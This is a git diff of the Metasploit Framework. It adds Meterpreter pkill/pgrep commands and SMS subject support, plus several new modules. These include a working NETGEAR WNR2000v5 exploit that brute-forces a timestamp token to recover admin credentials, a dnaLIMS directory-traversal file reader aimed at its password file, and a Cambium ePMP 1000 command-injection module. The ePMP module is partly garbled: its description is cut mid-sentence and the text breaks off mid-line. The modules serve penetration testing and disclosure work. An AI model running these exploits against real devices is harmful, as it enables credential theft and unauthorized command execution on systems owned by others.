Console::CommandDispatcher::Stdapi::Sys "getsid" => [ "stdapi_sys_config_getsid" ], "getenv" => [ "stdapi_sys_config_getenv" ], "kill" => [ "stdapi_sys_process_kill" ], + "pkill" => [ "stdapi_sys_process_kill", "stdapi_sys_process_get_processes" ], + "pgrep" => [ "stdapi_sys_process_get_processes" ], "ps" => [ "stdapi_sys_process_get_processes" ], "reboot" => [ "stdapi_sys_power_exitwindows" ], "reg" => [ @@ -372,7 +377,81 @@ class Console::CommandDispatcher::Stdapi::Sys def cmd_kill_help print_line("Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]") print_line("Terminate one or more processes.") - print_line(" -s : Kills the pid associated with the current session.") + print_line(" -s Kills the pid associated with the current session.") + end + + # + # Kills one or more processes by name. + # + def cmd_pkill(*args) + if args.include?('-h') + cmd_pkill_help + return true + end + + all_processes = client.sys.process.get_processes + processes = match_processes(all_processes, args) + + if processes.length == 0 + print_line("No matching processes were found.") + return true + end + + if processes.length == all_processes.length && !args.include?('-f') + print_error("All processes will be killed, use '-f' to force.") + return true + end + + pids = processes.collect { |p| p['pid'] }.reverse + print_line("Killing: #{pids.join(', ')}") + client.sys.process.kill(*(pids.map { |x| x })) + true + end + + def cmd_pkill_help + print_line("Usage: pkill [ options ] pattern") + print_line("Terminate one or more processes by name.") + print_line @@ps_opts.usage + end + + # + # Filters processes by name + # + def cmd_pgrep(*args) + if args.include?('-h') + cmd_pgrep_help + return true + end + + all_processes = client.sys.process.get_processes + processes = match_processes(all_processes, args, quiet: true) + + if processes.length == 0 || processes.length == all_processes.length + return true + end + + # XXX fix Rex parser to properly handle adjacent short flags + f_flag = args.include?('-f') || args.include?('-lf') || args.include?('-fl') + l_flag = args.include?('-l') || args.include?('-lf') || args.include?('-fl') + + processes.each do |p| + if l_flag + if f_flag + print_line("#{p['pid']} #{p['path']}") + else + print_line("#{p['pid']} #{p['name']}") + end + else + print_line("#{p['pid']}") + end + end + true + end + + def cmd_pgrep_help + print_line("Usage: pgrep [ options ] pattern") + print_line("Filter processes by name.") + print_line @@ps_opts.usage end # @@ -418,7 +497,87 @@ class Console::CommandDispatcher::Stdapi::Sys valid_pids << pid end end - return valid_pids + valid_pids + end + + def match_processes(processes, args, quiet: false) + + search_proc = nil + search_user = nil + exact_match = false + + # Parse opts + @@ps_opts.parse(args) do |opt, idx, val| + case opt + when '-S', nil + if val.nil? || val.empty? + print_error "Enter a process name" + processes = [] + else + search_proc = val + end + when "-U" + if val.nil? || val.empty? + print_line "Enter a process user" + processes = [] + else + search_user = val + end + when '-x' + exact_match = true + when "-A" + if val.nil? || val.empty? + print_error "Enter an architecture" + processes = [] + else + print_line "Filtering on arch '#{val}" if !quiet + processes = processes.select do |p| + p['arch'] == val + end + end + when "-s" + print_line "Filtering on SYSTEM processes..." if !quiet + processes = processes.select do |p| + ["NT AUTHORITY\\SYSTEM", "root"].include? p['user'] + end + when "-c" + print_line "Filtering on child processes of the current shell..." if !quiet + current_shell_pid = client.sys.process.getpid + processes = processes.select do |p| + p['ppid'] == current_shell_pid + end + end + end + + unless search_proc.nil? + print_line "Filtering on '#{search_proc}'" if !quiet + if exact_match + processes = processes.select do |p| + p['name'] == search_proc + end + else + match = /#{search_proc}/ + processes = processes.select do |p| + p['name'] =~ match + end + end + end + + unless search_user.nil? + print_line "Filtering on user '#{search_user}'" if !quiet + if exact_match + processes = processes.select do |p| + p['user'] == search_user + end + else + match = /#{search_user}/ + processes = processes.select do |p| + p['user'] =~ match + end + end + end + + Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new(processes) end # @@ -430,80 +589,28 @@ class Console::CommandDispatcher::Stdapi::Sys return true end - # Init vars - processes = client.sys.process.get_processes - search_term = nil + all_processes = client.sys.process.get_processes + processes = match_processes(all_processes, args) - # Parse opts - @@ps_opts.parse(args) { |opt, idx, val| - case opt - when '-S' - search_term = val - if search_term.nil? - print_error("Enter a search term") - return true - end - when "-A" - print_line "Filtering on arch..." - searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new - processes.each do |proc| - next if proc['arch'].nil? or proc['arch'].empty? - if val.nil? or val.empty? - return false - end - searched_procs << proc if proc["arch"] == val - end - processes = searched_procs - when "-s" - print_line "Filtering on SYSTEM processes..." - searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new - processes.each do |proc| - searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM" - end - processes = searched_procs - when "-c" - print_line "Filtering on child processes of the current shell..." - current_shell_pid = client.sys.process.getpid - searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new - processes.each do |proc| - searched_procs << proc if proc['ppid'] == current_shell_pid - end - processes = searched_procs - when "-U" - print_line "Filtering on user name..." - searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new - processes.each do |proc| - if val.nil? or val.empty? - print_line "You must supply a search term!" - return false - end - searched_procs << proc if proc["user"].match(/#{val}/) - end - processes = searched_procs - end - } - - if (processes.length == 0) - print_line("No running processes were found.") - else - tbl = processes.to_table('SearchTerm' => search_term) - print_line - print_line(tbl.to_s) + if processes.length == 0 + print_line("No matching processes were found.") + return true end - return true + + tbl = processes.to_table + print_line + print_line(tbl.to_s) + true end def cmd_ps_help - print_line "Usage: ps [ options ]" + print_line "Usage: ps [ options ] pattern" print_line print_line "Use the command with no arguments to see all running processes." print_line "The following options can be used to filter those results:" - print_line @@ps_opts.usage end - - # # Reboots the remote computer. # diff --git a/lib/rex/proto/sms/client.rb b/lib/rex/proto/sms/client.rb index 271dafdec1..cede056600 100644 --- a/lib/rex/proto/sms/client.rb +++ b/lib/rex/proto/sms/client.rb @@ -32,10 +32,11 @@ module Rex # Sends a text to multiple recipients. # # @param phone_numbers [Array] An array of phone numbers. + # @param subject [String] Subject of the message # @param message [String] The text message to send. # # @return [void] - def send_text_to_phones(phone_numbers, message) + def send_text_to_phones(phone_numbers, subject, message) carrier = Rex::Proto::Sms::Model::GATEWAYS[self.carrier] recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" } address = self.smtp_server.address @@ -52,7 +53,13 @@ module Rex smtp.enable_starttls_auto smtp.start(helo_domain, username, password, login_type) do recipients.each do |r| - smtp.send_message(message, from, r) + sms_message = Rex::Proto::Sms::Model::Message.new( + from: from, + to: r, + subject: subject, + message: message + ) + smtp.send_message(sms_message.to_s, from, r) end end rescue Net::SMTPAuthenticationError => e diff --git a/lib/rex/proto/sms/model.rb b/lib/rex/proto/sms/model.rb index c98ecf6dca..d95d50a35e 100644 --- a/lib/rex/proto/sms/model.rb +++ b/lib/rex/proto/sms/model.rb @@ -28,4 +28,5 @@ end require 'net/smtp' require 'rex/proto/sms/model/smtp' +require 'rex/proto/sms/model/message' require 'rex/proto/sms/client' diff --git a/lib/rex/proto/sms/model/message.rb b/lib/rex/proto/sms/model/message.rb new file mode 100644 index 0000000000..8110c361dc --- /dev/null +++ b/lib/rex/proto/sms/model/message.rb @@ -0,0 +1,65 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Sms + module Model + class Message + + # @!attribute message + # @return [String] The text message + attr_accessor :message + + + # @!attribute from + # @return [String] The from field in the email + attr_accessor :from + + # @!attribute to + # @return [String] The to field in the email + attr_accessor :to + + # @!attribute subject + # @return [String] The subject of the email + attr_accessor :subject + + + # Initializes the SMTP object. + # + # @param [Hash] opts + # @option opts [String] :from + # @option opts [String] :to + # @option opts [String] :message + # + # @return [Rex::Proto::Sms::Model::Message] + def initialize(opts={}) + self.from = opts[:from] + self.to = opts[:to] + self.message = opts[:message] + self.subject = opts[:subject] + end + + + # Returns the raw SMS message + # + # @return [String] + def to_s + body = Rex::MIME::Message.new + body.add_part(self.message, 'text/plain; charset=UTF-8', nil) + + sms = "MIME-Version: 1.0\n" + sms << "From: #{self.from}\n" + sms << "To: #{self.to}\n" + sms << "Subject: #{self.subject}\n" + sms << "Content-Type: multipart/alternative; boundary=#{body.bound}\n" + sms << "\n" + sms << body.to_s + + sms + end + + end + end + end + end +end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index d400f5070d..dcabae5ca0 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -67,7 +67,7 @@ Gem::Specification.new do |spec| # Needed for Meterpreter spec.add_runtime_dependency 'metasploit-payloads', '1.2.19' # Needed for the next-generation POSIX Meterpreter - spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7' + spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.8' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # get list of network interfaces, like eth* from OS. @@ -106,6 +106,7 @@ Gem::Specification.new do |spec| # Protocol Libraries # spec.add_runtime_dependency 'net-ssh' + spec.add_runtime_dependency 'ruby_smb' # # REX Libraries diff --git a/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb b/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb new file mode 100644 index 0000000000..224494489a --- /dev/null +++ b/modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb @@ -0,0 +1,261 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'time' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::CRand + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'NETGEAR WNR2000v5 Administrator Password Recovery', + 'Description' => %q{ + The NETGEAR WNR2000 router has a vulnerability in the way it handles password recovery. + This vulnerability can be exploited by an unauthenticated attacker who is able to guess + the value of a certain timestamp which is in the configuration of the router. + Bruteforcing the timestamp token might take a few minutes, a few hours, or days, but + it is guaranteed that it can be bruteforced. + This module works very reliably and it has been tested with the WNR2000v5, firmware versions + 1.0.0.34 and 1.0.0.18. It should also work with the hardware revisions v4 and v3, but this + has not been tested. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2016-10175'], + ['CVE', '2016-10176'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear-wnr2000.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2016/Dec/72'], + ['URL', 'http://kb.netgear.com/000036549/Insecure-Remote-Access-and-Command-Execution-Security-Vulnerability'] + ], + 'DisclosureDate' => 'Dec 20 2016')) + register_options( + [ + Opt::RPORT(80) + ], self.class) + register_advanced_options( + [ + OptInt.new('TIME_OFFSET', [true, 'Maximum time differential to try', 5000]), + OptInt.new('TIME_SURPLUS', [true, 'Increase this if you are sure the device is vulnerable and you are not getting through', 200]) + ], self.class) + end + + def get_current_time + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + if res && res['Date'] + date = res['Date'] + return Time.parse(date).strftime('%s').to_i + end + end + + # Do some crazyness to force Ruby to cast to a single-precision float and + # back to an integer. + # This emulates the behaviour of the soft-fp library and the float cast + # which is done at the end of Netgear's timestamp generator. + def ieee754_round (number) + [number].pack('f').unpack('f*')[0].to_i + end + + + # This is the actual algorithm used in the get_timestamp function in + # the Netgear firmware. + def get_timestamp(time) + srandom_r time + t0 = random_r + t1 = 0x17dc65df; + hi = (t0 * t1) >> 32; + t2 = t0 >> 31; + t3 = hi >> 23; + t3 = t3 - t2; + t4 = t3 * 0x55d4a80; + t0 = t0 - t4; + t0 = t0 + 0x989680; + + ieee754_round(t0) + end + + def get_creds + res = send_request_cgi({ + 'uri' => '/BRS_netgear_success.html', + 'method' => 'GET' + }) + if res && res.body =~ /var sn="([\w]*)";/ + serial = $1 + else + fail_with(Failure::Unknown, "#{peer} - Failed to obtain serial number, bailing out...") + end + + # 1: send serial number + send_request_cgi({ + 'uri' => '/apply_noauth.cgi?/unauth.cgi', + 'method' => 'POST', + 'Content-Type' => 'application/x-www-form-urlencoded', + 'vars_post' => + { + 'submit_flag' => 'match_sn', + 'serial_num' => serial, + 'continue' => '+Continue+' + } + }) + + # 2: send answer to secret questions + send_request_cgi({ + 'uri' => '/apply_noauth.cgi?/securityquestions.cgi', + 'method' => 'POST', + 'Content-Type' => 'application/x-www-form-urlencoded', + 'vars_post' => + { + 'submit_flag' => 'security_question', + 'answer1' => @q1, + 'answer2' => @q2, + 'continue' => '+Continue+' + } + }) + + # 3: PROFIT!!! + res = send_request_cgi({ + 'uri' => '/passwordrecovered.cgi', + 'method' => 'GET' + }) + + if res && res.body =~ /Admin Password: (.*)<\/TD>/ + password = $1 + if password.blank? + fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to obtain password") + end + + if res && res.body =~ /Admin Username: (.*)<\/TD>/ + username = $1 + else + fail_with(Failure::Unknown, "#{peer} - Failed to obtain username") + end + + return [username, password] + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: 'netgear', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def send_req(timestamp) + begin + uri_str = (timestamp == nil ? \ + "/apply_noauth.cgi?/PWD_password.htm" : \ + "/apply_noauth.cgi?/PWD_password.htm%20timestamp=#{timestamp.to_s}") + res = send_request_raw({ + 'uri' => uri_str, + 'method' => 'POST', + 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' }, + 'data' => "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=#{@q1}&question2=2&answer2=#{@q2}" + }) + return res + rescue ::Errno::ETIMEDOUT, ::Errno::ECONNRESET, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + return + end + end + + def run + # generate the security questions + @q1 = Rex::Text.rand_text_alpha(rand(20) + 2) + @q2 = Rex::Text.rand_text_alpha(rand(20) + 2) + + # let's try without timestamp first (the timestamp only gets set if the user visited the page before) + print_status("#{peer} - Trying the easy way out first") + res = send_req(nil) + if res && res.code == 200 + credentials = get_creds + print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"") + return + end + + # no result? let's just go on and bruteforce the timestamp + print_bad("#{peer} - Well that didn't work... let's do it the hard way.") + + # get the current date from the router and parse it + end_time = get_current_time + if end_time == nil + fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time") + end + if end_time <= datastore['TIME_OFFSET'] + start_time = 0 + else + start_time = end_time - datastore['TIME_OFFSET'] + end + end_time += datastore['TIME_SURPLUS'] + + if end_time < (datastore['TIME_SURPLUS'] * 7.5).to_i + end_time = (datastore['TIME_SURPLUS'] * 7.5).to_i + end + + print_good("#{peer} - Got time #{end_time} from router, starting exploitation attempt.") + print_status("#{peer} - Be patient, this might take a long time (typically a few minutes, but it might take hours).") + + # work back from the current router time minus datastore['TIME_OFFSET'] + while true + for time in end_time.downto(start_time) + timestamp = get_timestamp(time) + sleep 0.1 + if time % 400 == 0 + print_status("#{peer} - Still working, trying time #{time}") + end + res = send_req(timestamp) + if res && res.code == 200 + credentials = get_creds + print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"") + report_cred({ 'user' => credentials[0], 'password' => credentials[1] }) + return + end + end + end_time = start_time + start_time -= datastore['TIME_OFFSET'] + if start_time < 0 + if end_time <= datastore['TIME_OFFSET'] + fail_with(Failure::Unknown, "#{peer} - Exploit failed.") + end + start_time = 0 + end + print_status("#{peer} - Going for another round, finishing at #{start_time} and starting at #{end_time}") + + # let the router clear the buffers a bit... + sleep 30 + end + end +end diff --git a/modules/auxiliary/client/hwbridge/connect.rb b/modules/auxiliary/client/hwbridge/connect.rb index be2fe30ade..93645ce689 100644 --- a/modules/auxiliary/client/hwbridge/connect.rb +++ b/modules/auxiliary/client/hwbridge/connect.rb @@ -39,15 +39,15 @@ class MetasploitModule < Msf::Auxiliary 'References' => [ [ 'URL', 'http://opengarages.org/hwbridge' ] # TODO - ], + ] } )) register_options( [ Opt::RPORT(8080), - Opt::RHOST("127.0.0.1"), - OptBool.new("DEBUGJSON", [false, "Additional debugging out for JSON requests to HW Bridge", false]), - OptString.new('TARGETURI', [ true, "The path to the hwbridge API", '/']) + Opt::RHOST('127.0.0.1'), + OptBool.new('DEBUGJSON', [false, "Additional debugging out for JSON requests to HW Bridge", false]), + OptString.new('TARGETURI', [ true, "The path to the hwbridge API", '/']) ], self.class ) @@ -58,15 +58,17 @@ class MetasploitModule < Msf::Auxiliary # Generic fetch json call. returns hash of json # def fetch_json(uri) - tpath = normalize_uri("#{datastore["TARGETURI"]}/#{uri}") + tpath = normalize_uri("#{datastore['TARGETURI']}/#{uri}") res = send_request_cgi({ 'uri' => tpath, - 'method' => 'GET', + 'method' => 'GET' }) - return nil if not res or not res.body or not res.code - if (res.code == 200) - print_status res.body if datastore["DEBUGJSON"] == true + return nil if !res || !res.body || !res.code + if res.code == 200 + print_status res.body if datastore['DEBUGJSON'] == true return JSON.parse(res.body) + elsif res.code == 401 + print_error "Access Denied: #{res.body}" end return nil @@ -95,8 +97,14 @@ class MetasploitModule < Msf::Auxiliary # Uses status information to automatically load proper extensions # def autoload_extensions(sess) - if self.hw_specialty.has_key? "automotive" - sess.load_automotive if self.hw_specialty["automotive"] == true + if self.hw_specialty.key? 'automotive' + sess.load_automotive if self.hw_specialty['automotive'] == true + end + if self.hw_specialty.has_key? 'zigbee' + sess.load_zigbee if self.hw_specialty['zigbee'] == true + end + if self.hw_specialty.has_key? 'rftransceiver' + sess.load_rftransceiver if self.hw_specialty['rftransceiver'] == true end end @@ -104,8 +112,8 @@ class MetasploitModule < Msf::Auxiliary # If the hardware contains custom methods, create functions for those # def load_custom_methods(sess) - if self.hw_capabilities.has_key? "custom_methods" - sess.load_custom_methods if self.hw_capabilities["custom_methods"] == true + if self.hw_capabilities.key? 'custom_methods' + sess.load_custom_methods if self.hw_capabilities['custom_methods'] == true end end @@ -114,23 +122,23 @@ class MetasploitModule < Msf::Auxiliary # def get_status data = fetch_json("/status") - if not data == nil - if data.has_key? "operational" + unless data.nil? + if data.key? 'operational' @last_access = Time.now - if data.has_key? "hw_specialty" - self.hw_specialty = data["hw_specialty"] + if data.key? 'hw_specialty' + self.hw_specialty = data['hw_specialty'] end - if data.has_key? "hw_capabilities" - self.hw_capabilities = data["hw_capabilities"] + if data.key? 'hw_capabilities' + self.hw_capabilities = data['hw_capabilities'] end end end end def run - print_status "Attempting to connect to #{datastore["RHOST"]}..." + print_status "Attempting to connect to #{datastore['RHOST']}..." self.get_status() - if not @last_access == nil + unless @last_access.nil? sess = Msf::Sessions::HWBridge.new(self) sess.set_from_exploit(self) @@ -147,7 +155,9 @@ class MetasploitModule < Msf::Auxiliary attr_reader :hw_specialty attr_reader :hw_capabilities -protected + + protected + attr_writer :hw_specialty attr_writer :hw_capabilities end diff --git a/modules/auxiliary/client/sms/send_text.rb b/modules/auxiliary/client/sms/send_text.rb index 8dbff90190..f7883140fc 100644 --- a/modules/auxiliary/client/sms/send_text.rb +++ b/modules/auxiliary/client/sms/send_text.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary phone_numbers = datastore['CELLNUMBERS'].split print_status("Sending text (#{datastore['SMSMESSAGE'].length} bytes) to #{phone_numbers.length} number(s)...") begin - res = send_text(phone_numbers, datastore['SMSMESSAGE']) + res = send_text(phone_numbers, datastore['SMSSUBJECT'], datastore['SMSMESSAGE']) print_status("Done.") rescue Rex::Proto::Sms::Exception => e print_error(e.message) diff --git a/modules/auxiliary/gather/shodan_honeyscore.rb b/modules/auxiliary/gather/shodan_honeyscore.rb new file mode 100644 index 0000000000..d792d6029d --- /dev/null +++ b/modules/auxiliary/gather/shodan_honeyscore.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Shodan Honeyscore Client', + 'Description' => %q{ + This module uses the shodan API to check + if a server is a honeypot or not. The api + returns a score from 0.0 to 1.0. 1.0 being a honeypot. + A shodan API key is needed for this module to work properly. + + If you don't have an account, go here to register: + https://account.shodan.io/register + For more info on how their honeyscore system works, go here: + https://honeyscore.shodan.io/ + }, + 'Author' => + [ 'thecarterb' ], # Thanks to @rwhitcroft, @h00die and @wvu-r7 for the improvements and review! + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://honeyscore.shodan.io/'] + ] + ) + ) + + deregister_options('RHOST', 'SSL', 'DOMAIN', 'DigestAuthIIS', 'NTLM::SendLM', + 'NTLM::SendNTLM', 'VHOST', 'RPORT', 'NTLM::SendSPN', 'NTLM::UseLMKey', + 'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2') + + register_options( + [ + OptString.new('TARGET', [true, 'The target to get the score of']), + OptString.new('SHODAN_APIKEY', [true, 'The SHODAN API key']) + ], self.class) + end + + def print_score(score) + tgt = datastore['TARGET'] + print_status("#{tgt} honeyscore: #{score}/1.0") + end + + def run + key = datastore['SHODAN_APIKEY'] + + # Check the length of the key (should be 32 chars) + if key.length != 32 + print_error('Invalid API key (Not long enough)') + return + end + + tgt = datastore['TARGET'] + print_status("Scanning #{tgt}") + cli = Rex::Proto::Http::Client.new('api.shodan.io', 443, {}, true) + cli.connect + req = cli.request_cgi({ + 'uri' => "/labs/honeyscore/#{tgt}?key=#{key}", + 'method' => 'GET' + }) + res = cli.send_recv(req) + cli.close + if res.nil? + fail_with(Failure::Unknown, 'Unable to connect to shodan') + end + + if res.code != 200 + print_error('Shodan did not respond in an expected way. Check your api key') + return + end + + score = res.body.to_f # Change the score to a float to be able to determine value in the checks + + if score == 0 + print_error("#{tgt} is not a honeypot") + elsif score < 0.4 && score != 0.0 + print_error("#{tgt} is probably not a honeypot") + elsif score > 0.4 && score < 0.6 + print_status("#{tgt} might be a honeypot") + elsif score > 0.6 && score < 1.0 + print_good("#{tgt} is probably a honeypot") + elsif score == 1.0 + print_good("#{tgt} is definitely a honeypot") + else # We shouldn't ever get here as the previous checks should catch an unexpected response + print_error('An unexpected error occured.') + return + end + print_score(score) + end +end diff --git a/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb b/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb new file mode 100644 index 0000000000..8ba8c83828 --- /dev/null +++ b/modules/auxiliary/scanner/http/dnalims_file_retrieve.rb @@ -0,0 +1,81 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DnaLIMS Directory Traversal', + 'Description' => %q{ + This module exploits a directory traversal vulnerability found in dnaLIMS. + Due to the way the viewAppletFsa.cgi script handles the 'secID' parameter, it is possible + to read a file outside the www directory. + }, + 'References' => + [ + ['CVE', '2017-6527'], + ['US-CERT-VU', '929263'], + ['URL', 'https://www.shorebreaksecurity.com/blog/product-security-advisory-psa0002-dnalims/'] + ], + 'Author' => + [ + 'h00die ', # Discovery, PoC + 'flakey_biscuit ' # Discovery, PoC + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Mar 8 2017" + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to dnaLIMS', '/cgi-bin/dna/']), + OptString.new('FILE', [ true, "The path to the file to view", '/home/dna/spool/.pfile']), # password db for app + OptInt.new('DEPTH', [true, 'The traversal depth', 4]) + ], self.class) + + deregister_options('RHOST') + end + + + def run_host(ip) + file = (datastore['FILE'][0,1] == '/') ? datastore['FILE'] : "#{datastore['FILE']}" + traverse = "../" * datastore['DEPTH'] + uri = normalize_uri(target_uri.path) + base = File.dirname("#{uri}/.") + + print_status("Requesting: #{file} - #{rhost}") + res = send_request_cgi({ + 'uri' => "#{base}/viewAppletFsa.cgi", + 'vars_get' => { 'secID' => "#{traverse}#{file}%00", + 'Action' => 'blast', + 'hidenav' => '1' + } + }) + + if not res + print_error("No response from server.") + return + end + + if res.code != 200 + print_error("Server returned a non-200 response (body will not be saved):") + print_line(res.to_s) + return + end + + vprint_good(res.body) + p = store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file)) + print_good("File saved as: #{p}") + end + +end + + diff --git a/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb b/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb new file mode 100644 index 0000000000..1029cf8bb2 --- /dev/null +++ b/modules/auxiliary/scanner/http/epmp1000_cmd_exec.rb @@ -0,0 +1,265 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Cambium ePMP 1000 (up to v2.5) Arbitrary Command Execution', + 'Description' => %{ + This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000 ( + [ + ['URL', 'http://ipositivesecurity.com/2015/11/28/cambium-epmp-1000-multiple-vulnerabilities/'], + ['URL', 'https://support.cambiumnetworks.com/file/476262a0256fdd8be0e595e51f5112e0f9700f83'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => { 'VERBOSE' => true }) + ) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'installer']), + OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'installer']), + OptString.new('CMD', [true, 'Command(s) to run', 'id; pwd']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_epmp1000? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Check if App is Cambium ePMP 1000 + # + + def is_app_epmp1000? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + good_response = ( + res && + res.code == 200 && + res.headers['Server'] && + (res.headers['Server'].include?('Cambium HTTP Server') || res.body.include?('cambiumnetworks.com')) + ) + + if good_response + get_epmp_ver = res.body.match(/"sw_version">([^<]*)/) + if !get_epmp_ver.nil? + epmp_ver = get_epmp_ver[1] + if !epmp_ver.nil? + print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000 version #{epmp_ver}...") + if "#{epmp_ver}" >= '2.5' + print_error('This ePMP version is not vulnerable. Module will not continue.') + return false + else + return true + end + else + print_good("#{rhost}:#{rport} - Running Cambium ePMP 1000...") + return true + end + end + else + print_error("#{rhost}:#{rport} - Application does not appear to be Cambium ePMP 1000. Module will not continue.") + return false + end + end + + # + # Execute arbitrary command(s) + # + + def do_login(user, pass) + print_status("#{rhost}:#{rport} - Attempting to login...") + begin + res = send_request_cgi( + { + 'uri' => '/cgi-bin/luci', + 'method' => 'POST', + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Accept' => 'application/json, text/javascript, */*; q=0.01' + }, + 'vars_post' => + { + 'username' => 'dashboard', + 'password' => '' + } + } + ) + + good_response = ( + res && + res.code == 200 && + res.headers.include?('Set-Cookie') && + res.headers['Set-Cookie'].include?('sysauth') + ) + + if good_response + sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/) + + cookie1 = "#{sysauth_value}; " + "globalParams=%7B%22dashboard%22%3A%7B%22refresh_rate%22%3A%225%22%7D%2C%22#{user}%22%3A%7B%22refresh_rate%22%3A%225%22%7D%7D" + + res = send_request_cgi( + { + 'uri' => '/cgi-bin/luci', + 'method' => 'POST', + 'cookie' => cookie1, + 'headers' => { + 'X-Requested-With' => 'XMLHttpRequest', + 'Accept' => 'application/json, text/javascript, */*; q=0.01', + 'Connection' => 'close' + }, + 'vars_post' => + { + 'username' => user, + 'password' => pass + } + } + ) + + end + + good_response = ( + res && + res.code == 200 && + res.headers.include?('Set-Cookie') && + res.headers['Set-Cookie'].include?('stok=') + ) + + if good_response + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + report_cred( + ip: rhost, + port: rport, + service_name: 'Cambium ePMP 1000', + user: user, + password: pass + ) + + get_stok = res.headers['Set-Cookie'].match(/stok=(.*)/) + if !get_stok.nil? + stok_value = get_stok[1] + sysauth_value = res.headers['Set-Cookie'].match(/((.*)[$ ])/) + + cookie2 = "#{sysauth_value}; " + 